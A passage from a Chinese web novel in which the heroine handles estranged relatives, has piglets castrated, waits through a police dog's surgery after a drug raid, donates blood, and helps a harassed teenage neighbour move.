【肖琳琳：[图片]】 【肖琳琳：[图片]】 …… 肖琳琳在群里发了一长串照片，全都是之前那个平头男生和她的聊天记录，秦小薇点开看了看，看完聊天记录之后，她忍不住笑倒在床上。 刚开始的时候，平头男生还在和她聊兴趣爱好、工作，但聊了没多久，他就开始和肖琳琳打听宁市的租房信息——男生不想住帐篷，想和他妈妈从帐篷里搬出来。 【范槿：哈哈哈哈哈我们以为他想追你，没想到人家只是想把你当成房产中介！】 【范槿：笑到捶地.jpg】 【肖琳琳：不只是房产中介，我感觉他还想把当工具人使用，给他介绍宁市的风土人情，以及给他和他妈妈介绍工作……】 【肖琳琳：[图片]】 【肖琳琳：[图片]】 …… 【肖琳琳：我自己都还在住安全屋呢，工作也没转正，他也太看得起我了！】 【肖琳琳：唉，这个世界哪有那么多艳遇？终归是我自作多情了！】 【肖琳琳：沧桑.jpg】 群里的气氛十分欢乐，段霞和范槿都在哈哈哈。 秦小薇想了想，在群里回复道。 【秦小薇：往好处想，至少不是个骗子，人家不图你的钱，也不图你的色。】 【肖琳琳：薇薇，怎么连你也在看热闹？！】 【秦小薇：我本来就喜欢吃瓜看热闹啊哈哈哈哈！】 秦小薇在群里和室友们插科打诨地聊了一会，正准备进空间里洗漱吃早饭，手机铃声却忽然响了起来，是陆昼的电话。 秦小薇：“喂？” 可能是因为心情好，她的语气十分轻快，声音里带着明显的笑意。 陆昼：“你的声音听起来很开心？心情很好？” 秦小薇：“还行吧，找我什么事？” 陆昼：“有个对你来说不太好的消息，我在想，是现在告诉你，还是等你高兴完了再告诉你……” 不太好的消息？她忍不住皱眉。 秦小薇收敛起脸上的笑意：“听到你这句话，我现在就高兴不起来了，说吧，到底是什么事？” 陆昼：“你姑姑一家也来宁市了，为了找你，他们报了警，说是不久前和你失联了，还说你在失联前，曾给他们打过一通电话，说自己遇到了危险，让警察告诉他们你现在的联系方式……” 秦小薇：？？？ 秦小薇深吸一口气：“这理由也太扯了……警察有没有相信，然后把我的联系方式给他们？” 陆昼：“没有，按照规定，他们会先联系你，找你核实情况……但如果他们一直纠缠不休，找到你是迟早的事。” 秦小薇：“……你不能动用一下你的人脉关系，帮我拦一拦吗？” 陆昼的声音里带着几分近乎残酷的理智，他分析道：“我打了招呼也没什么用，他们知道你毕业于Q大，你的健身房又办得那么红火，他们只要去Q大打听一下，很快就能找到你。” 秦小薇：“……”生意好也是她的错吗？ 陆昼：“除非……让他们永远消失在这个世界上！” 秦小薇：“大清早的，别说这么吓人的话行吗？” 她烦躁地抓了抓头发：“行了，我知道了，我会做好准备的。” 她刚挂断电话，手机就“叮”了一声，收到了一条新短信，是警察局发过来的，大致内容和陆昼刚刚电话里说 得差不多。 秦小薇想了想，回了条消息过去：您好，警察同志，我是秦小薇，我和那两位自称是我姑姑姑父的人已经断绝关系了，我很小的时候父母就去世了，他们吞了我父母的赔偿金，让我在他们家当牛做马，给他们儿子洗尿布……高中毕业之后，还试图撕毁我的录取通知书，让我进厂上班养他们……我和他们的关系非常差，已经好几年没联系过了，他们说的话都是胡编乱造的，希望你们不要相信！也不要把我的联系方式给他们，让他们再来纠缠我！ 回复完消息，秦小薇坐在床上想了一会，就下床洗漱了。 这件事最坏的结果，就是警察把她的联系方式给原主的姑姑姑父，就算是这样，她也不怕，她们健身房这么多人呢！还能让她被欺负了吗？ 一想到就算是最坏的结果，也不会对她造成什么太大的麻烦，秦小薇的心情一下子轻松起来。 吃完早饭后，她开着车在农场里转了一圈，到了畜牧棚之后，秦小薇发现，才一天没进来，空间里就多了12头小猪崽。 不是养猪场那些收完了培根，就会突然“缩水”的小猪崽，而是可以一直长肉、最后杀了吃的小猪崽！ 她之前上网查过，按照现在的喂养方法，一头猪养五到六个月就可以出栏。 也就是说，半年之后，她就有新鲜的猪肉吃了，不用再吃冻肉了！ 不过……公猪好像得阉割？骟猪可以减少它们的攻击性，提高肉质，减少异味，网上好像说，出生后的三到七天，是骟猪的黄金期！ 不知道唐医生会不会骟猪？ 秦小薇让机器人把猪圈打扫了一下，保持猪圈的温暖、干燥、清洁，又打开猪圈里的保温灯，给猪仔保温…… 地里产出的蔬菜太多了，她一个人根本吃不完，待会拿一批出来，让机器人给它们煮点猪食加餐吧！ 在空间里干完了所有的杂活，她才出去给陆昼打电话。 前不久，他们才在电话里聊了秦小薇姑姑姑父的事，陆昼以为她是因为他们才给他打电话，电话刚接通，陆昼就问她：“想到办法对付你姑姑姑父一家了？来找我帮忙？” 秦小薇：“不是，他们真要是来闹事，我把人揍出去就行了！我找你是有别的事……唐医生会骟猪吗？” “什么？”话题跨度太大，电话那边的人一时有些没反应过来。 “就是给猪割蛋蛋，网上说公猪出生后的三到七天，是割蛋蛋的黄金期，唐医生能安排一下吗？”秦小薇语气坦然，丝毫不觉得和一个异性聊这种话题会让对方觉得尴尬。 陆昼那家伙脸皮厚着呢！就这点事还不至于让他破防…… 果然，陆昼的声音十分平静：“有几头猪要割？” 秦小薇：“七头，还有五头是母猪，不用割蛋蛋。” 陆昼：“好，我知道了，过两天联系你！” 秦小薇：“嗯。” 她等了两天，也没等到警察局那边的短信，但原主的姑姑姑父一直没找上门来，秦小薇猜测，警察应该没把她的联系方式给出去。 三天后的清晨，秦小薇接到了陆昼的电话：“我在你家楼下，下来吧！” “好！” 下楼后，秦小薇发现陆昼今天没开那辆特别帅的吉普车，开的是一辆小货车。 秦小薇：“今天怎么换车了？” 陆昼言简意赅地解释道：“拉猪崽。” 秦小薇点点头，没再多说什么。 陆昼把车开到一个没人的地方，让秦小薇把猪崽放进后车厢里。 现在外面的温度很低，刚出生的小猪崽非常脆弱，很容易夭折。 秦小薇担心猪崽会冻死，上车之后，先往后车厢里垫了两床旧棉被，还在棉被里贴了几个暖宝宝，给它们保温。 陆昼把车子开去了他们小区，把猪崽拉去了他们小区的“诊所”。 车子刚停下，诊所里就跑出来一群医生护士，把猪崽们拉去“手术室”。 秦小薇有些震惊：“……这么大阵仗？” 她昨天在网上搜视频的时候，视频里明明一刀下去挤一下就行了的呀？一只猪，不到一分钟就骟完了，她还以为能在车上解决呢……【你现在阅读的是 】 90-100 第91章 第91章献血（双更合一）…… 路过的唐医生听到她的话,停下了脚步，叹了口气，解释道：“最近都没什么病人,大家都快闲得生虫了,他们听说我要主刀骟猪,一窝蜂全跑来掺和，还说我一个内科医生,根本拿不稳手术刀,直接抢了我的主刀资格……” 秦小薇：“……” 她一时不知道该怎么安慰都快变成悲伤蛙的唐医生，总不能说以后母猪生了小猪,她再专门找他割蛋蛋吧？这也太奇怪了！ 她只能干笑着转移话题道：“你们医生打发时间的方式还真独特……” 陆昼提醒她：“外面冷，我们进去等。” 秦小薇忙不迭跟了上去：“……好。” 因为“职场倾轧”，原本主刀的唐医生连个助手的名额都没混上,只能和秦小薇他们一起等在操作室外面。 唐医生心态很好,很快就恢复了精神，他主动找秦小薇聊天：“你家的小羊羔怎么样了？” 秦小薇：“挺好的，吃得好睡得好,跟吹气球似的，体重噌噌往上长……再养几个月,就能杀了吃烤全羊了——” 看到唐医生的表情,秦小薇的话音顿住：“唐医生，我是不是说错话了？” 唐医生毕竟是个兼职兽医，几只小羊还是他接生的,在他面前说要把他接生的羊烤了吃……是不是让他觉得被冒犯了？ 大马金刀坐在椅子上等结果的陆昼见此开口道：“老唐，到时候请你一起吃！” 唐医生瞬间换了副表情，笑容满面道：“哎呀，这多不好意思……我知道一个特别养生的羊汤配方,到时候我给你们弄点药材炖羊汤！那羊骨头烤完之后再炖，真的特别香……” 秦小薇：“……” 操作室的门关着，可这依旧不能隔绝猪猪们的惨叫，三人并排坐在外面，时不时就能听到几声高昂的猪叫。 这只是个小手术，连麻药都不用打，就算有好几头猪要被割蛋蛋，医生们依旧只花了几分钟就搞定了。 秦小薇屁股下的皮质座椅还没坐热，医生们就推着猪崽出来了。 其中一个穿着手术服，戴着口罩、帽子的医生，端着个托盘走到秦小薇面前：“这个你们还要吗？” 秦小薇扫了眼医用托盘里整齐摆放的三排蛋蛋，往陆昼的方向挪了一步，问他：“你要吃吗？” 有些男的好像很喜欢吃羊蛋、猪蛋之类的东西“补身体”，不知道陆昼和他的家人有没有这方面的爱好？现在物资紧缺，要弄这些东西，应该也挺不容易的…… 她并没有刻意压低声音，附近的医护人员全都听到了，顿时，所有人都朝着陆昼看去，视线还有意无意地扫过他的下半身，表情也有些意味深长。 陆昼：“……” 陆昼闭了闭眼，从牙缝里吐出几个字：“我！不！吃！” 秦小薇后退两步，和他拉开距离：“不吃就不吃，生什么气嘛？” 陆昼冷笑：“……你以后有了孩子，生产完吃胎盘吗？” 秦小薇：“……”这根本不是一回事！ 主刀医生欢欢喜喜地收下了割下来的蛋蛋，唐医生则叮嘱两人道：“回去以后每只猪都要隔离二十四小时，禁食六小时，三天之后才可以让它们适度活动，圈舍每天都要喷消毒剂，伤口周围的皮肤要用碘伏消毒、撒消炎粉，一天两次，要持续三天……” 被挤到一旁的主刀医生：“……”他俩到底谁是主刀？ 秦小薇打开手机备忘录，把唐医生叮嘱的注意事项，都一一记了下来，才和陆昼一起开车离开。 到了没人的路段后，秦小薇赶紧进后车厢，把猪崽们转移进空间。 货车的车厢门关着，外面的人也看不到车厢里的动静，秦小薇便在空间里多待了一会，把小猪崽们都安顿好了，才从里面出来。 其实，为了防止猪崽们换了环境之后应激，让兽医□□才是更好的选择，但空间不能暴露，他们才把猪崽拉去医院割蛋蛋。 秦小薇拉开车门上了副驾驶：“好了，可以回去了！” 陆昼合上膝盖上的笔记本电脑：“嗯。” 秦小薇看了眼他的笔记本：“你在忙工作？要不我来开车？” 陆昼摇头：“处理一些私事……难民们都安置好了，之后的工作不是我们部门负责，最近没那么多事需要我在车上加班。” 秦小薇点点头，没有多说什么，默默系好了安全带。 半路的时候，他接到了一个电话：“喂，是我……我知道了……我现在过去！” 接完电话之后，陆昼的表情顿时变得严肃起来，直接打方向盘掉头，脚下猛踩油门。 秦小薇有种他把卡车当赛车开的感觉，她吓得握紧了胸前的安全带。 出什么事了？怎么看他的表情，感觉像是天要塌了？ 卡车的车速实在是太快了，担心陆昼开车的时候分神会出车祸，秦小薇甚至都不敢问他出什么事了…… 十分钟后，车子在宁市的一个医疗点外面停了下来，陆昼连车钥匙都没拔，拉开车门，就直接跳了下去，朝着医疗点跑去。 见他似乎是遇到了什么急事，秦小薇也没抱怨，她默默拔掉车钥匙，下车替他把没合拢的车门重新关上，才大步追了过去。 这个医疗点大半的建筑都是用简易钢材搭建起来的，因为空间没有之前的医院大，人员密度非常高，到处都是病人和病人家属，连医疗点外面，都有不少站着打点滴的病人…… 就耽搁了这么一会，她就看不到陆昼的人影了。 秦小薇：“……” 她看了下手里的车钥匙，想了想，还是决定去找找陆昼。 这个医疗点看起来不大，找人应该挺容易的……吧？ 要是找不到，她就去车上等他，他没有别的交通工具，要回去的话，肯定会回车上。 临时医疗点并没有开空调，但是里面人太多了，大家呼出的二氧化碳让医疗点的温度直线上升，秦小薇在里面待了没一会，额头上就多了一层细细密密的汗。 因为空间限制，医疗点整体是个不规则的六边形，一共有三层，里面却被不锈钢板分隔成了一个个不同的区域，跟个迷宫似的，要是不看墙上的路标，很容易迷路。 但她没找多久，就看到了陆昼——这家伙身高、长相都太出众，就算身处人群中，也能让人一眼就看到他，更别说他身边还有一群穿着制服的警察。 医疗点这么多人，他们周围却形成了一圈明显的“真空地带”，站在那里，十分显眼。 看到警察们身上的制服，秦小薇心里一个咯噔。 她小跑过去，冲着陆昼开口道：“陆昼，是不是香肠出事了？” 陆昼点头：“执行任务的时候中弹了，医生正在给它做手术……” 秦小薇顺着他的视线，看向不远处的手术室，忍不住皱眉：“在这里做手术……能行吗？” 就算她不是学医的，也知道人医和兽医学的东西不一样，光是临床经验这一条，他们就不是一个赛道的！ 就算唐医生能给动物看病，那也不代表所有的医生都能吧？ 陆昼所有的注意力都放在手术室紧闭的大门上，并没有回答她的问题，边上一个警察倒是看出了她的疑问，便解释道：“做手术的是兽医，我们合作的兽医院之前地震的时候就毁了，那边没有做手术的条件，就借用了这边的手术室……” 听到警察的解释，秦小薇这才松了口气。 毕竟也在自己空间里养过一段时间，秦小薇对拉布拉多，还是有那么一丢丢感情的，她不急着回去，便和众人一起，待在原地等手术结束。 等待的时候，秦小薇从众人口中得知了事情的经过。 拉布拉多今天跟着警察们查处了一家被实名举报的麻将馆，那家麻将馆表面上是家普通的娱乐场所，实际上却是个毒窝，老板通过各种手段引诱麻将馆的顾客吸|毒牟利…… 那群毒犯非常嚣张，麻将馆被包围之后，还在拼死反抗，不仅如此，他们手上还有不知从哪弄来的热武器……香肠和他们同事也是因此才会中弹受伤！ 秦小薇很惊讶，巡逻队天天24小时巡逻，市区竟然还有这样的地方？！ 这些人胆子可真大！ 不过胆子要是不大，也不敢贩|毒吧？ 他们在门外等了三个多小时，手术室的门才从里面打开，拉布拉多没有伤到要害，之后只要好好养着，伤口不感染，就没什么事。 按照它现在的情况，放在以前，是要“住院观察”的，但是医疗点现在连人住的病房都不够，也没条件让它住院。 不过这难不倒陆昼，他们小区一群闲着没事的医生护士，都是给领导看病、有真本事的，就算他们不会给狗做手术，简单的术后护理还是没问题的，让他们给拉布拉多弄个24小时都有人盯着的“特护病房”都没问题。 倒是有个中弹的警察比较危险，手术过程中，医生下了好几次病危通知书，血库的血不够用，中途医生还出来让他们找血型符合的战友来献血……手术室里的人等着救命！ 秦小薇刚好血型符合，就去献了400CC的血。 这和上次裴欣的情况不一样，手术室里躺着的是一位人民英雄，她相信，普通市民要是知道了内情，大多都会愿意帮忙…… 拉布拉多麻醉药的药效还没过去，还在昏迷，暂时还不能拉回小区养着，陆昼便在医疗点继续等待，不过知道拉布拉多脱离危险之后，相较于之前，他的姿态明显放松了许多。 他转头看着靠墙站着的秦小薇，皱眉：“你的脸色不太好看，要不要回车上休息一会？还是我先送你回去？” 秦小薇擦了下额头上的汗珠，想了想开口道：“我去车上休息一会吧！” 医疗点里面连个坐的地方都没有，献完了血，她也只能站着。 感觉献完血之后，身上就没什么力气……早知道少献点了！ 陆昼接过她手上的外套，主动道：“走吧！我送你过去……” 医疗点里面太闷了，她之前待在里面，出了不少汗，刚出了医疗点的大门，秦小薇便被冷风吹得一个激灵，她连忙冲着陆昼伸手：“羽绒服给我吧！外面有点冷！” “嗯。”陆昼把衣服递了过去。 上车的时候，见陆昼要伸手扶她，秦小薇有些无语：“我又不是纸糊的，献了点血而已，你不用这样……” 陆昼的手在空中停顿了两秒，最后还是收了回去：“那你在这好好休息！” “唉，等等！”秦小薇叫住了他，“折腾大半天 了，你要吃点东西吗？” 陆昼抬起手腕，看了下时间，他轻轻应了一声，随后，绕到车子的另一边，拉开驾驶座的门上了车。 秦小薇从仓库里拿了一份便当递给他，他却拒绝了：“味道太大了，换成面包吧。” 秦小薇给他换了面包：“……你还挺严谨。” 秦小薇：“要给其他人带点吃的吗？” 为了等战友的手术结果，其他人也在手术室外面等了好几个小时，既没吃东西也没喝水。 陆昼想了想，点头：“你那有什么？” 秦小薇打开仓库看了看：“面包、曲奇、草莓麦片、牛奶……都是工坊的产出，能拿给他们吃吗？我这还有不少能量饼干，都是今年的囤货……” 现在几乎人人都吃能量饼干，买的时候还得刷身份证，数据都是联网的，为了融入人群，秦小薇每天都会等移动物资车没什么人的时候，下去刷身份证买能量饼干。 她空间里新鲜的蔬果、肉蛋奶都吃不完，有时候她懒得整理地里收上来的蔬菜，还会直接拿去给牲畜加餐，能量饼干的味道也就那样，如果不是碰到特殊情况，她根本不会碰，日积月累之下，已经积攒好几箱了！ 陆昼沉吟片刻：“拿几包能量饼干和牛奶吧！” 秦小薇拿了个袋子，给每个警察装了三袋能量饼干，一瓶牛奶。 陆昼：“……你清仓大甩货呢？” 秦小薇：“虽然这些都是我花钱买的，但是送给他们吃我不心疼。” 陆昼：“……” 装完了东西，秦小薇上网搜索了一下“失血后该如何食补”，然后从仓库里拿出一份草莓和一份西红柿，直接当饭炫。 网上说这两样富含补血的关键营养素，她要多吃点…… 吃完了面包，陆昼就提着那一大袋能量饼干和牛奶下车了，留她一个人在车上休息。 秦小薇也没闲着，她收藏了一堆补铁餐的食谱，打算回去就试试。 反正仓库有保鲜功能，她一次多做点存着，吃的时候也方便。 一盒草莓刚吃完，她就接到了健身房一位教练打过来的电话：“店长，我刚刚在楼梯间看到咱们隔壁住着的一个小姑娘在哭，问了她才知道，她同屋一个男的骚扰她，她半夜睡醒的时候发现那个男的在摸她的脚和大腿，已经好几次了……” “她找了巡逻队，也报了警，但是那个男的不承认自己干过的事，一直说自己就是睡相不好，半夜滚到她边上去，手也是无意识搭上去的……” “那男的在警察和巡逻队面前表现得特别好，一个劲和人小姑娘道歉，因为没有证据，小姑娘也没受到实质性的伤害，警察也就没处罚那男的……回来以后，他嘴脸就变了，直接倒打一耙，在楼里到处说人小姑娘有问题，小小年纪就不学好，勾引男人……” “小姑娘实在是太可怜了，咱们能不能帮帮她？” 听完教练的讲述，秦小薇忍不住皱眉，欺负未成年小姑娘，那男的也太恶心了！ 但上次教练帮忙抓小三却差点把自己送进去的事还历历在目，秦小薇想了想，回道：“等我回来咱们再商量一下到底该怎么办吧！” “行，那我们等你回来！” 她在车上坐了一个多小时，陆昼才和一个警察一起，抬着一个狗笼子回来，拉布拉多躺在狗笼子里，脖子上套着“耻辱圈”，它右后腿上裹着厚厚的纱布，精神有些萎靡。 看到秦小薇之后，它挣扎着坐起来冲她摇尾巴，但可能是伤口太疼了，它刚坐起来，就“呜咽”着趴了回去，看上去十分可怜。 秦小薇把手伸进笼子里，揉了下它的狗头：“行了，乖乖待着养伤！别折腾了……” 陆昼又把卡车开回了小区，他上楼拿了个小推车，把狗笼子推上了楼。 秦小薇有些惊讶：“你不送它去住院吗？” 陆昼摇头：“有需要我直接叫老唐上门就行了……把香肠放在我眼皮子底下看着，我放心一些。” 秦小薇四处看了看，陆昼家门口的花圃里种着菜，但可能是因为最近的天气一直不怎么好，这些菜都是一副随时会死掉的模样，看起来蔫巴巴的，没什么生命力，和她空间里那些时常来一场大丰收的蔬果完全不一样。 秦小薇指了下拉布拉多，问陆昼：“要给香肠留点食材补补吗？” 陆昼点头：“给我拿点西兰花、胡萝卜、活鸡、酸奶、鸡蛋、南瓜……” 报了好一串“菜名”，他才意犹未尽地停下来：“……暂时就这些吧！等吃完了我再找你拿！” 秦小薇：“……” 不知道为什么，她忽然有点羡慕拉布拉多，做完了手术，还有人给它做营养丰富的狗饭，不像她，献完血，还得自己动手做补铁餐。 为了捂住空间的秘密，她想找个阿姨上门做饭都不行！ 突然觉得自己有点惨是怎么回事？ 陆昼安置好拉布拉多后，打了个电话，把唐医生叫了上来，才开车送秦小薇回家。 健身房依旧在开门营业，秦小薇刚走进健身房，就看到一个扎着马尾辫的年轻女孩坐在前台，她戴着耳机，面前放着一部手机和一个笔记本，她正对着手机里的直播网课做笔记。 她的表情非常专注，并没有被健身房门口进进出出的客人影响，秦小薇进门的时候，丝毫没有引起她的注意。 秦小薇拉过正在整理货架的前台，小声问她：“这就是你们隔壁被骚扰的女孩？” 前台点头，却没有多聊女孩的事：“张教练说她一个小姑娘继续住那屋里不安全，就让她暂时先待在我们这……对了！店长！今天有一对夫妻带着孩子过来找你，说是你的亲戚，还在我们健身房闹了好大一通……” 秦小薇想到前几天收到的那条短信，对来人的身份有了八九分的猜测。 秦小薇伸手比划了一下：“男的是不是又矮又猥琐？女的和我差不多高，特别瘦，下巴上还长着一颗痣？” 前台连连点头：“对对对！店长，他们真是你亲戚呀？” 秦小薇没什么家丑不可外扬的想法，她冷笑一声：“我早八百年就和他们断绝关系了！他们就是三个吸血鬼、人渣……他们没影响健身房的生意吧？” 前台摇头：“他们刚开始又吵又闹，引了不少顾客和邻居围观，但咱们健身房这么多人，哪能让他们在店里撒野？几个教练一人提一个，就把他们扔出去了……那三个人也是怂，看到我们动手，反而不敢闹了，后面就直接灰溜溜地离开了！” 秦小薇点点头，没把这个小插曲放在心上。 见健身房的一切都井然有序，她也没在健身房待太久，直接回公寓进了空间，她去牲畜棚里抓了两只鸡，鸡杀了以后，拿了个大号的高压锅，加红枣和枸杞炖了满满一大锅鸡汤。 除此之外，她还做了红枣红豆粥、牛肉炖胡萝卜、黑木耳炒鸡蛋、煎鱼……一口气把接下来一个星期要吃的“补铁餐”都做好了。 她还计划着，过段时间去陆昼他们小区检查一下，要是贫血的话，她再给自己整点叶酸和维生素B12什么的，反正这些东西空间里都有囤货，她自己吃了，也不算浪费。 第92章 第92章秦凤（双更合一） 补铁餐做好之后,秦小薇拿出一沓自带分格的一次性餐盒，把饭菜分别装进餐盒里，垒了老高一摞。 收拾完灶台和锅具之后,她看了下时间,她动作很快,再加上几口锅同时开火，就算做了这么多菜,也只花了不到两个小时,健身房还没到下班时间。 秦小薇拿出一份盒饭和鸡汤，美美吃了顿补铁餐…… 自己炖鸡汤就是好,一份里面可以放好多鸡肉，鸡也是她看着长大的，肉特别香,不像市场上那些饲料鸡…… 美美吃了顿晚饭,秦小薇收拾好自己，又去猪圈里看了眼被割了蛋蛋的小猪崽们。 可能是因为重要部位挨了刀子，猪崽们有些萎靡,但整体情况还可以，似乎并没有应激,伤口也没有红肿感染,秦小薇给它们换了药，才出了空间。 她到健身房的时候，店里依旧在营业,之前那个女孩依旧在前台戴着耳机上网课，秦小薇在店里转了一圈，见大家都不需要自己帮忙，她就坐到自己的专属靠椅上摸鱼打游戏去了。 今天的营业结束之后,众人并没有急着回去吃能量饼干，反而聚在健身房里商讨要怎么帮那个女孩，女孩叫彭麦麦，她的性格有些内向。 大家商量的时候，她就安静坐在一旁，睁着一双清澈的大眼睛看着众人，一副“我都听你们的”的模样，看上去单纯又好骗。 拳击教练周文率先开口道：“没抓那家伙一个现行，警察也拿他没办法……那屋子麦麦也不能再回去住了，你现在算是彻底和那人渣撕破脸了，要是搬回去，他不知道还会做什么报复你！要不这样？咱们来一招钓鱼执法，我和你换个床位？然后抓那个人渣一个现行！” 说着，她握了握拳，眼睛亮晶晶的，一副跃跃欲试的模样。 秦小薇闻言连忙开口道：“没必要！真的没必要为了一个人渣让自己陷入危险之中！” 虽然周文是健身房的金牌拳击教练，那男的就算想对她做什么，大概率也不会得逞，但这种事，稍微沾到一点，就足够恶心的了！ 边上的格斗教练何玥也煞有介事地点头：“对啊！文文，你太壮了……楼里人都知道，咱们健身房的教练最低都是个全国冠军，你要是搬过去，意图太明显了，那家伙肯定不敢动手！” 周文：“……” 秦小薇拿出手机：“我在群里问下吧！看看 有没有房东愿意帮忙协调换个房间……麦麦，你愿意换房间吗？” 彭麦麦疯狂点头。 其实肖琳琳搬走之后，员工宿舍就空出了一个床位，但那是员工宿舍，秦小薇只打算让自己的员工入住。 她噼里啪啦地打了一长串文字，发到业主群里，重点强调了彭麦麦未成年和学生的身份，并表示，如果对方觉得搬家很麻烦的话，她们健身房可以出人帮忙搬东西…… 很多成年人步入社会，在社会这个大染缸里浸泡过后，看到未成年学生，会下意识觉得他们单纯无害。因此，虽然那个猥琐男在公寓楼里到处散播彭麦麦勾引他的消息，但因为两人的身份和年龄差异，其实相信的人并不多。 群里好心人还是挺多的，秦小薇的消息发出去不到两分钟，群里就有房东表示，可以帮忙协调换房子。 秦小薇晃了下手机：“搬家的事搞定了！” 周文：“店长，你效率也太高了……这样显得我们很没用！” 秦小薇：“换房子这事本来就简单，怎么对付那个渣男，让他以后都不敢伸爪子才是咱们留下来开会的重点……” 众人集思广益，有人说趁着他下去买能量饼干的时候套他麻袋，把人打一顿；还有人说想办法联系他的亲戚朋友，和他们曝光这件事，让他颜面尽失…… 一番商讨之后，她们决定“以其人之道还治其人之身”，不过实施计划的对象，还得好好挑一挑，秦小薇倒是有人选，就是不知道对方愿不愿意帮忙…… 商量完事情后，众人就上楼去帮彭麦麦搬家了。 “……就前天，我坐在那玩手机的时候，她还给我抛媚眼，现在的小姑娘，都早熟得很，有些十三四岁，就打过胎了……”他们上楼的时候，走廊里有几人聚在一起，肆无忌惮地开着黄腔。 “我同屋那女的，睡衣都是紧身的，胸的形状看得一清二楚……一看就不正经，也不知道给她老公戴了多少顶绿帽子了！” “那你平时晚上不是有眼福了？” “还行吧！她那胸型也不是特别好看，有点下垂了！” “……” 几个无所事事的油腻男聚在一起，他们随意地评论着同住的其他异性，表情十分猥琐。 听到他们的对话，彭麦麦气得眼圈都快红了，她瞪着走廊窗户边上的几人，结结巴巴道：“你、你胡说，我、我才没朝你抛媚眼！” 秦小薇发现了，这姑娘不仅性格内向，一着急，说话还会结巴。 就她这副瘦瘦弱弱的样子，难怪会被欺负到躲在楼道里偷偷哭。 “哎哟，我又没说你，不用这么急着对号入座！”其中一个额头上长了颗大黑痣的男人冲着彭麦麦笑得不怀好意。 秦小薇往前走了一步，把人挡在自己身后：“麦麦，就是他欺负你？” 彭麦麦点头，缩在众人身后，小声道：“就、就是他！” 秦小薇一群人的动静很大，在她们上来的时候几人就注意到了她们，可能是因为她们健身房“名声在外”，见她们挡在彭麦麦面前，原本还嬉皮笑脸开黄腔的几人，表情顿时变了。 额头上长了黑痣的男人此时也顾不得造黄谣了，和其他人随便打了几句哈哈就要开溜，其他人也作势要散了。 几位教练却抱臂站在走廊里，堵住了几人的去路。 “你、你们想干什么？”几人有些紧张，不过对峙了十几秒，他们额头上就沁出汗来，“楼、楼下就有巡逻队巡逻，我、我可告诉你们，你们要是敢动手，马、马上就有巡逻队来抓你们！” 双方实力差距太大，刚刚还言辞流利的几个中年男人竟然和彭麦麦一样，吓得说话开始结巴了。 秦小薇上下打量着造彭麦麦谣的猥琐男，最后视线停在他的下半身：“听说你那玩意只有五厘米，跟个绣花针似的，还没发育全？” 听到她的话，被他盯着的男人顿时暴怒：“你胡说什么？” 众所周知，很多男人都有一些莫名其妙的自尊心，最怕别人说他不行。 秦小薇淡定地看着对方，故意加大音量道：“我可没胡说，就是听了一些八卦，过来找你求证一下……你这么生气，该不会是被我说中了吧？” 健身房的教练和秦小薇非常有默契，见此，立刻你一言我一语，照着彭麦麦之前提供的信息开始胡编乱造。 “听说你前妻就是因为你不行，生不出孩子，才和你离婚的，是不是真的啊？” “肯定是真的！一般男的，到了他这个年纪，都有孩子了……他还是独生子，家里长辈肯定会一直催着要个儿子，他都四十多了，还没生孩子，肯定是身体有问题！” “……” 男人的脸涨得通红：“什么四十多？老子今年才二十九，现在流行晚婚晚育，没孩子不是很正常？我和我前妻是感情破裂才离婚的！你们别乱造谣！” 秦小薇往前走了两步，盯着对方的脸看了一会，才皱着眉一本正经地开口道：“你才二十九？不可能吧！我看你这张脸，还以为你已经四十九了呢？” “你看你，头上这么多白头发，真的太显老了！身体不行啊，难怪生不出儿子！” “……” 众人左一句“老”，又一句“不行”，男人气得都快要冒烟了。 他举起拳头，就朝着他们当中身高最矮的财务挥了过去。 秦小薇一把抓住他的胳膊，笑得十分“和善”：“巡逻队就在楼下，你确定要和我们动手？打架斗殴可是会被抓走的！” 秦小薇的力气很大，抓着他的那只手就和铁钳似的，中年男人憋红了脸挣扎，却始终挣脱不开。 中年男人：“……是你们先造谣挑衅的！巡逻队要抓也是抓你们！” 秦小薇“上头”有人，根本不怕他的威胁：“我们可没造谣，就和你们之前一样，站在这聊点八卦罢了！而且，我们说的也是事实啊！你是没长白头发还是生出儿子了？” 中年男人：“……你们、你们就是在造谣！” 见中年男人被“欺负”得这么惨，他的几个同伴都有些心有戚戚，其中一人扯出一个笑脸，僵硬道：“那啥……我妈还在等我回去吃饭，麻烦你们让个路……” 秦小薇朝周围看了看，她们之前说话的时候声音很大，楼道里不少住户都悄悄打开了大门，在听八卦，她觉得效果差不多了。 秦小薇看了眼开口说话的男人：“看你们的反应，在这里聊八卦好像挺讨人嫌的，你们以后聊八卦的时候可得注意点，要不然不小心被哪个路过的当事人揍了可就不好了……” 男人连连点头：“我保证，绝对没有下次！” 秦小薇这才扔开中年男人的手腕，冲着其他人开口道：“走吧！咱们还得帮麦麦搬家……” “嗯。”众人这才散开。 见众人走了，被她们团团围住的几人才悄悄松了一口气。 MD，楼下那群女的也太吓人了！ 女人学什么拳击、格斗，好好在家里 当贤妻良母不就行了？瞎折腾什么啊！ 这群母老虎，以后肯定没男人要！ 彭麦麦的行李并不多，上来两个人，一趟就能搬完。 她的新住处全是女性，秦小薇不知道她的新室友好不好相处，但和之前那家相亲馆相比，这边肯定安全很多…… 帮彭麦麦安顿好之后，几人又叮嘱了她几句，才各自回家吃晚饭。 回家后，秦小薇点开业主群，找到奚川的头像，给他发了条消息。 她等了十几分钟，奚川那边才回了个“好”。 看着手机屏幕上的聊天界面，秦小薇露出一个有些邪恶的微笑。 喜欢造谣、猥亵小姑娘是吧！那就让他也尝尝被造谣、猥亵的滋味，看看刀子割到他自己身上，他会不会觉得疼？ 因为献了血，秦小薇晚上在空间里夜跑的时候，发现自己的“续航”能力明显下降了，才跑了半个多小时，就有些上气不接下气了。 虽然她现在依旧能一拳揍倒一个壮汉，但秦小薇觉得，自己现在的身体还是有些“虚弱”。 于是，她决定，接下来几天都不运动了，等身体养“好”了再说！ 每天凌晨和早上，是移动物资车那边人流的“高峰期”，秦小薇不愿意排队浪费时间，平时都是趁着下午三四点没什么人的时候，才下去买能量饼干。 第二天下午，她和往常一样，在楼上看到物资车那边没什么人了，才下楼刷身份证买能量饼干和饮用水。 她刚买完东西，往前走了没两步，就被人拦住了。 “小薇啊！我可算是找到你了，你不知道，我这段时间有多担心你……”一个中年女人从人群中蹿了出来，伸手就要抱她。 秦小薇运动神经发达，反应也快，立刻往边上挪了几步，躲开了她的手，中年女人没刹住车，直接扑到了地上。 “嘶——你这孩子，躲什么？是不是太久没见，认不出姑姑了？”她扶着膝盖，从地上爬了起来，勉强冲着秦小薇露出一个微笑。 来人正是原主的姑姑，秦凤。 